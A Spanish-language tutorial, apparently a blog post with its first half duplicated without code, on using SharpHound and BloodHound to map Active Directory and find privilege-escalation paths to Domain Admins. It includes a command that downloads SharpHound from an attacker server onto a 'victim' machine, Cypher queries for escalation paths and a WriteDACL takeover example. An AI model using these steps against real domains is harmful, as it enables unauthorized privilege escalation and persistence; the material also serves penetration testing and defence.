¿Qué coño es BloodHound?
BloodHound es esa herramienta que te deja ver el Active Directory desde arriba, como si estuvieras en Google Maps pero en lugar de tráfico, ves rutas hacia el Domain Admin.
Lo que hace es simple: mapea relaciones entre usuarios, grupos, ACLs, sesiones, delegaciones, etc.
Y con eso, te dibuja caminos para escalar privilegios sin tener que lanzar ningún solo exploit.
Componentes clave
Para que esto funcione necesitas dos piezas:
Flujo de trabajo paso a paso
Lo primero es soltar SharpHound en alguna máquina que esté logueada al dominio. Puede ser con Powershell, como un EXE standalone, o con CobaltStrike.
Supongamos que ya tienes una shell en la máquina víctima.
1. Descarga SharpHound y ejecuta la recolección completa
Esto te va a sacar ficheros .zip con toda la grasa:
2. Subir los datos a BloodHound
Ahora en tu máquina atacante (Kali, Parrot, lo que uses), lanzas BloodHound:
Usa neo4j como db backend y lanza queries con Cypher para extraer relaciones complejas:
Cuando entres a la app de BloodHound, te logueas con:
Ejemplos reales de cosas que puedes encontrar:
Teniendo toda esta información como lo podríamos aplicar, aquí les dejo un ejemplo para que lo puedan entender mejor (como les mimo eh)
Así se ve el camino:
pgsql
CopiarEditar
juan.empresas
│
└── WriteDACL →
IT-Helpdesk
└── Member →
admin.dom (Domain Admin)
Usando Cypher
BloodHound usa Cypher para hacer consultas avanzadas. Aquí van unas queries útiles:
¿Qué usuarios pueden hacer GenericAll sobre otros?
Usuarios que pueden hacer AddMember a grupos:
Todas las rutas hacia Domain Admins desde un usuario específico:
BloodHound es esa herramienta que te deja ver el Active Directory desde arriba, como si estuvieras en Google Maps pero en lugar de tráfico, ves rutas hacia el Domain Admin.
Lo que hace es simple: mapea relaciones entre usuarios, grupos, ACLs, sesiones, delegaciones, etc.
Y con eso, te dibuja caminos para escalar privilegios sin tener que lanzar ningún solo exploit.
Componentes clave
Para que esto funcione necesitas dos piezas:
- SharpHound: el recolector de datos. Es el que corre en las máquinas dentro del dominio y recoge toda la información.
- BloodHound: la interfaz gráfica donde vas a ver el grafo de relaciones. Aquí es donde se pone interesante.
Flujo de trabajo paso a paso
Lo primero es soltar SharpHound en alguna máquina que esté logueada al dominio. Puede ser con Powershell, como un EXE standalone, o con CobaltStrike.
Supongamos que ya tienes una shell en la máquina víctima.
1. Descarga SharpHound y ejecuta la recolección completa
Invoke-WebRequest -Uri "http://tu-servidor/SharpHound.exe" -OutFile "C:\Users\Public\SharpHound.exe"
SharpHound.exe -c all
Esto te va a sacar ficheros .zip con toda la grasa:
- Grupos y membresías
- ACLs de objetos
- Delegaciones
- Sesiones activas (quién está logueado dónde)
- Relaciones de confianza entre dominios
SharpHound.exe -c session acl localgroup trust
2. Subir los datos a BloodHound
Ahora en tu máquina atacante (Kali, Parrot, lo que uses), lanzas BloodHound:
bloodhound
Usa neo4j como db backend y lanza queries con Cypher para extraer relaciones complejas:
neo4j console
Cuando entres a la app de BloodHound, te logueas con:
- usuario: neo4j
- contraseña: neo4j (cambia esto luego, me cago en toda mi puta madre)
3. Analizar y flipar con los resultados
Ahora viene lo divertido: mirar el grafo.Ejemplos reales de cosas que puedes encontrar:
- Este usuario tiene WriteDACL sobre un grupo.
- Ese grupo tiene dentro un Domain Admin.
- Resultado: Escalada en dos clics.
- “¿Puede este usuario resetear contraseñas?”
- “¿Tiene permisos de escritura sobre otro objeto?”
- “¿Puede acceder a un admin de dominio indirectamente?”
Teniendo toda esta información como lo podríamos aplicar, aquí les dejo un ejemplo para que lo puedan entender mejor (como les mimo eh)
Traducción: Juan puede modificar los permisos del grupo y meter un usuario suyo con permisos de admin. Luego usurpación, persistencia y fiesta.El usuario juan.empresas tiene permisos WriteDACL sobre el grupo IT-Helpdesk, que a su vez tiene dentro al usuario admin.dom.
Así se ve el camino:
pgsql
CopiarEditar
juan.empresas
│
└── WriteDACL →
IT-Helpdesk
└── Member →
admin.dom (Domain Admin)
Usando Cypher
BloodHound usa Cypher para hacer consultas avanzadas. Aquí van unas queries útiles:
¿Qué usuarios pueden hacer GenericAll sobre otros?
MATCH (n:User)-[r:GenericAll]->(m) RETURN n.name, m.name
Usuarios que pueden hacer AddMember a grupos:
MATCH (u:User)-[:AddMember]->(g:Group) RETURN u.name, g.name
Todas las rutas hacia Domain Admins desde un usuario específico:
MATCH p=shortestPath( (n:User {name:"ACME\\juan.empresas"})-[*1..]->(m:Group {name:"ACME\\Domain Admins"}) ) RETURN p
Consejito de regalo
- Usa SharpHound desde un usuario normal. No hace falta ser admin para liarla.
- Hay scripts en PowerView que pueden ayudarte a detectar si te están usando BloodHound en contra. Ojito si eres defensor.